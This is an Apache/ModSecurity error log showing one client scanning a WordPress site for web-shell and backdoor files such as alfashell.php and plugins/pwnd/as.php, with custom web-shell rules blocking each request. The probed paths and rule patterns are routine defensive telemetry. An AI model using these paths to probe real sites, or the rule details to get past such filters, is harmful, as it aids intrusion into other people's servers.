[Tue Apr 21 17:59:54.104487 2026] [:error] [pid 53731:tid 53739] [client 20.199.181.135:6056] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp.php"] [unique_id "aedKml2I9THUR-bRVGwh4gAAAgQ"]
[Tue Apr 21 17:59:54.577638 2026] [:error] [pid 53731:tid 53757] [client 20.199.181.135:54531] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aedKml2I9THUR-bRVGwh5AAAAhU"]
[Tue Apr 21 17:59:55.056929 2026] [:error] [pid 53731:tid 53744] [client 20.199.181.135:49108] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aedKm12I9THUR-bRVGwh6gAAAgk"]
[Tue Apr 21 17:59:55.533251 2026] [:error] [pid 35322:tid 35374] [client 20.199.181.135:6027] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aedKm6PoAfV40BTfVKzQTQAAAJE"]
[Tue Apr 21 17:59:56.017145 2026] [:error] [pid 4823:tid 4857] [client 20.199.181.135:64077] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aedKnPc8mke3PfHqsxHl3wAAAYQ"]
[Tue Apr 21 17:59:56.490790 2026] [:error] [pid 4823:tid 4854] [client 20.199.181.135:24880] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fe5.php"] [unique_id "aedKnPc8mke3PfHqsxHl4QAAAYE"]
[Tue Apr 21 17:59:56.963022 2026] [:error] [pid 35321:tid 35391] [client 20.199.181.135:48795] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fe5.php"] [unique_id "aedKnDeHLhVUuu8cVXwTSAAAAEc"]
[Tue Apr 21 17:59:57.435543 2026] [:error] [pid 4777:tid 4788] [client 20.199.181.135:63901] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fe5.php"] [unique_id "aedKnaxXur6bykKyLZSZTQAAAQA"]
[Tue Apr 21 17:59:57.906979 2026] [:error] [pid 53731:tid 53756] [client 20.199.181.135:64099] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fe5.php"] [unique_id "aedKnV2I9THUR-bRVGwh-gAAAhQ"]
[Tue Apr 21 17:59:58.377218 2026] [:error] [pid 35321:tid 35402] [client 20.199.181.135:6123] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aedKnjeHLhVUuu8cVXwTTwAAAFI"]
[Tue Apr 21 17:59:58.846993 2026] [:error] [pid 35321:tid 35390] [client 20.199.181.135:38865] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aedKnjeHLhVUuu8cVXwTUwAAAEY"]
[Tue Apr 21 17:59:59.318635 2026] [:error] [pid 53832:tid 53842] [client 20.199.181.135:6077] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aedKn9zkuxsE_OhM9UJOCAAAAkc"]
[Tue Apr 21 17:59:59.791168 2026] [:error] [pid 53731:tid 53743] [client 20.199.181.135:64108] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aedKn12I9THUR-bRVGwh_QAAAgg"]
[Tue Apr 21 18:00:00.263899 2026] [:error] [pid 53832:tid 53852] [client 20.199.181.135:24879] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/av.php"] [unique_id "aedKoNzkuxsE_OhM9UJOEAAAAlE"]
[Tue Apr 21 18:00:00.735536 2026] [:error] [pid 53832:tid 53858] [client 20.199.181.135:6117] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/av.php"] [unique_id "aedKoNzkuxsE_OhM9UJOEwAAAlc"]
[Tue Apr 21 18:00:01.207469 2026] [:error] [pid 53978:tid 53992] [client 20.199.181.135:34496] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/av.php"] [unique_id "aedKoZ1ivsR4hcOSQbbrdwAAAow"]
[Tue Apr 21 18:00:01.679888 2026] [:error] [pid 35321:tid 35408] [client 20.199.181.135:49384] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/av.php"] [unique_id "aedKoTeHLhVUuu8cVXwTXwAAAFg"]
[Tue Apr 21 18:00:02.152880 2026] [:error] [pid 35321:tid 35389] [client 20.199.181.135:36166] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abcd.php"] [unique_id "aedKojeHLhVUuu8cVXwTYQAAAEU"]
[Tue Apr 21 18:00:02.625788 2026] [:error] [pid 35321:tid 35394] [client 20.199.181.135:64105] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abcd.php"] [unique_id "aedKojeHLhVUuu8cVXwTYwAAAEo"]
[Tue Apr 21 18:00:03.097726 2026] [:error] [pid 35321:tid 35391] [client 20.199.181.135:34554] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abcd.php"] [unique_id "aedKozeHLhVUuu8cVXwTZgAAAEc"]
[Tue Apr 21 18:00:03.570652 2026] [:error] [pid 35321:tid 35399] [client 20.199.181.135:50151] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abcd.php"] [unique_id "aedKozeHLhVUuu8cVXwTagAAAE8"]
[Tue Apr 21 18:00:04.043411 2026] [:error] [pid 35321:tid 35397] [client 20.199.181.135:55054] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fi.php"] [unique_id "aedKpDeHLhVUuu8cVXwTcAAAAE0"]
[Tue Apr 21 18:00:04.516006 2026] [:error] [pid 35321:tid 35393] [client 20.199.181.135:36193] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fi.php"] [unique_id "aedKpDeHLhVUuu8cVXwTdQAAAEk"]
[Tue Apr 21 18:00:04.988470 2026] [:error] [pid 35321:tid 35385] [client 20.199.181.135:55102] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fi.php"] [unique_id "aedKpDeHLhVUuu8cVXwTdwAAAEE"]
[Tue Apr 21 18:00:05.470783 2026] [proxy_fcgi:error] [pid 53731:tid 53755] [client 20.199.181.135:6113] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 18:00:05.710719 2026] [proxy_fcgi:error] [pid 53731:tid 53746] [client 20.199.181.135:6113] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 18:00:06.187491 2026] [:error] [pid 53731:tid 53736] [client 20.199.181.135:6113] [client 20.199.181.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aedKpl2I9THUR-bRVGwiAwAAAgE"]
[Tue Apr 21 18:00:06.670434 2026] [proxy_fcgi:error] [pid 35320:tid 35333] [client 20.199.181.135:36195] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 18:00:07.391504 2026] [proxy_fcgi:error] [pid 35320:tid 35347] [client 20.199.181.135:36195] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 18:00:07.631510 2026] [proxy_fcgi:error] [pid 35320:tid 35339] [client 20.199.181.135:36195] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 18:00:07.874989 2026] [proxy_fcgi:error] [pid 35320:tid 35343] [client 20.199.181.135:36195] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 18:00:08.115215 2026] [proxy_fcgi:error] [pid 35320:tid 35349] [client 20.199.181.135:36195] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 18:00:08.356365 2026] [proxy_fcgi:error] [pid 35320:tid 35331] [client 20.199.181.135:36195] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 18:00:08.593113 2026] [:error] [pid 35320:tid 35341] [client 20.199.181.135:36195] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aedKqIJW6fdXWO6agMFnIAAAAAs"]
[Tue Apr 21 18:00:09.065849 2026] [:error] [pid 35320:tid 35335] [client 20.199.181.135:50149] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aedKqYJW6fdXWO6agMFnJAAAAAU"]
[Tue Apr 21 18:00:09.538040 2026] [:error] [pid 35321:tid 35397] [client 20.199.181.135:6080] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aedKqTeHLhVUuu8cVXwTgAAAAE0"]
[Tue Apr 21 18:00:10.010301 2026] [:error] [pid 35321:tid 35384] [client 20.199.181.135:55093] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aedKqjeHLhVUuu8cVXwTggAAAEA"]
[Tue Apr 21 18:00:10.483217 2026] [:error] [pid 35321:tid 35385] [client 20.199.181.135:62765] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bs1.php"] [unique_id "aedKqjeHLhVUuu8cVXwThQAAAEE"]
[Tue Apr 21 18:00:10.955050 2026] [:error] [pid 35320:tid 35348] [client 20.199.181.135:34516] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bs1.php"] [unique_id "aedKqoJW6fdXWO6agMFnJwAAABI"]
[Tue Apr 21 18:00:11.428419 2026] [:error] [pid 35321:tid 35397] [client 20.199.181.135:55048] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bs1.php"] [unique_id "aedKqzeHLhVUuu8cVXwTjQAAAE0"]
[Tue Apr 21 18:00:11.901302 2026] [:error] [pid 35321:tid 35396] [client 20.199.181.135:50115] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bs1.php"] [unique_id "aedKqzeHLhVUuu8cVXwTkAAAAEw"]
[Tue Apr 21 18:00:12.373076 2026] [:error] [pid 53731:tid 53755] [client 20.199.181.135:50124] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aedKrF2I9THUR-bRVGwiDQAAAhM"]
[Tue Apr 21 18:00:12.842955 2026] [:error] [pid 35415:tid 35446] [client 20.199.181.135:36175] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aedKrEiqDinI4_22zzhlewAAANM"]
[Tue Apr 21 18:00:13.314192 2026] [:error] [pid 35321:tid 35384] [client 20.199.181.135:34559] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aedKrTeHLhVUuu8cVXwTkgAAAEA"]
[Tue Apr 21 18:00:13.785930 2026] [:error] [pid 53832:tid 53845] [client 20.199.181.135:45838] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aedKrdzkuxsE_OhM9UJOIQAAAko"]
[Tue Apr 21 18:00:14.258416 2026] [:error] [pid 35415:tid 35445] [client 20.199.181.135:61547] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/axx.php"] [unique_id "aedKrkiqDinI4_22zzhlfwAAANI"]
[Tue Apr 21 18:00:14.737733 2026] [:error] [pid 35321:tid 35402] [client 20.199.181.135:34543] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/axx.php"] [unique_id "aedKrjeHLhVUuu8cVXwTlQAAAFI"]
[Tue Apr 21 18:00:15.212407 2026] [:error] [pid 35321:tid 35403] [client 20.199.181.135:61504] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/axx.php"] [unique_id "aedKrzeHLhVUuu8cVXwTlgAAAFM"]
[Tue Apr 21 18:00:15.685215 2026] [:error] [pid 53978:tid 53997] [client 20.199.181.135:50163] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/axx.php"] [unique_id "aedKr51ivsR4hcOSQbbrjAAAApE"]
[Tue Apr 21 18:00:16.157664 2026] [:error] [pid 35321:tid 35401] [client 20.199.181.135:45871] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/alfashell.php"] [unique_id "aedKsDeHLhVUuu8cVXwTmgAAAFE"]
[Tue Apr 21 18:00:16.628988 2026] [:error] [pid 4777:tid 4790] [client 20.199.181.135:6046] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/alfashell.php"] [unique_id "aedKsKxXur6bykKyLZSZZwAAAQI"]
[Tue Apr 21 18:00:17.101202 2026] [:error] [pid 4777:tid 4807] [client 20.199.181.135:64513] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/alfashell.php"] [unique_id "aedKsaxXur6bykKyLZSZaAAAARM"]
[Tue Apr 21 18:00:17.571978 2026] [:error] [pid 53978:tid 53981] [client 20.199.181.135:61557] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/alfashell.php"] [unique_id "aedKsZ1ivsR4hcOSQbbrkgAAAoE"]
[Tue Apr 21 18:00:18.043094 2026] [:error] [pid 4823:tid 4873] [client 20.199.181.135:50118] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "aedKsvc8mke3PfHqsxHl7AAAAZQ"]
[Tue Apr 21 18:00:18.514011 2026] [:error] [pid 4823:tid 4876] [client 20.199.181.135:45870] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "aedKsvc8mke3PfHqsxHl7QAAAZc"]
[Tue Apr 21 18:00:18.987054 2026] [:error] [pid 53731:tid 53735] [client 20.199.181.135:61536] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "aedKsl2I9THUR-bRVGwiIAAAAgA"]
[Tue Apr 21 18:00:19.459616 2026] [:error] [pid 54080:tid 54098] [client 20.199.181.135:61540] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "aedKs4zEbQHHxtmWbaaPPAAAAtA"]
[Tue Apr 21 18:00:19.930355 2026] [:error] [pid 35322:tid 35359] [client 20.199.181.135:61531] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/acp.php"] [unique_id "aedKs6PoAfV40BTfVKzQWgAAAII"]
[Tue Apr 21 18:00:20.402321 2026] [:error] [pid 35320:tid 35348] [client 20.199.181.135:62804] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/acp.php"] [unique_id "aedKtIJW6fdXWO6agMFnMwAAABI"]
[Tue Apr 21 18:00:20.873922 2026] [:error] [pid 35321:tid 35400] [client 20.199.181.135:64608] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/acp.php"] [unique_id "aedKtDeHLhVUuu8cVXwTsQAAAFA"]
[Tue Apr 21 18:00:21.353509 2026] [:error] [pid 53832:tid 53855] [client 20.199.181.135:45866] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/acp.php"] [unique_id "aedKtdzkuxsE_OhM9UJOKQAAAlQ"]
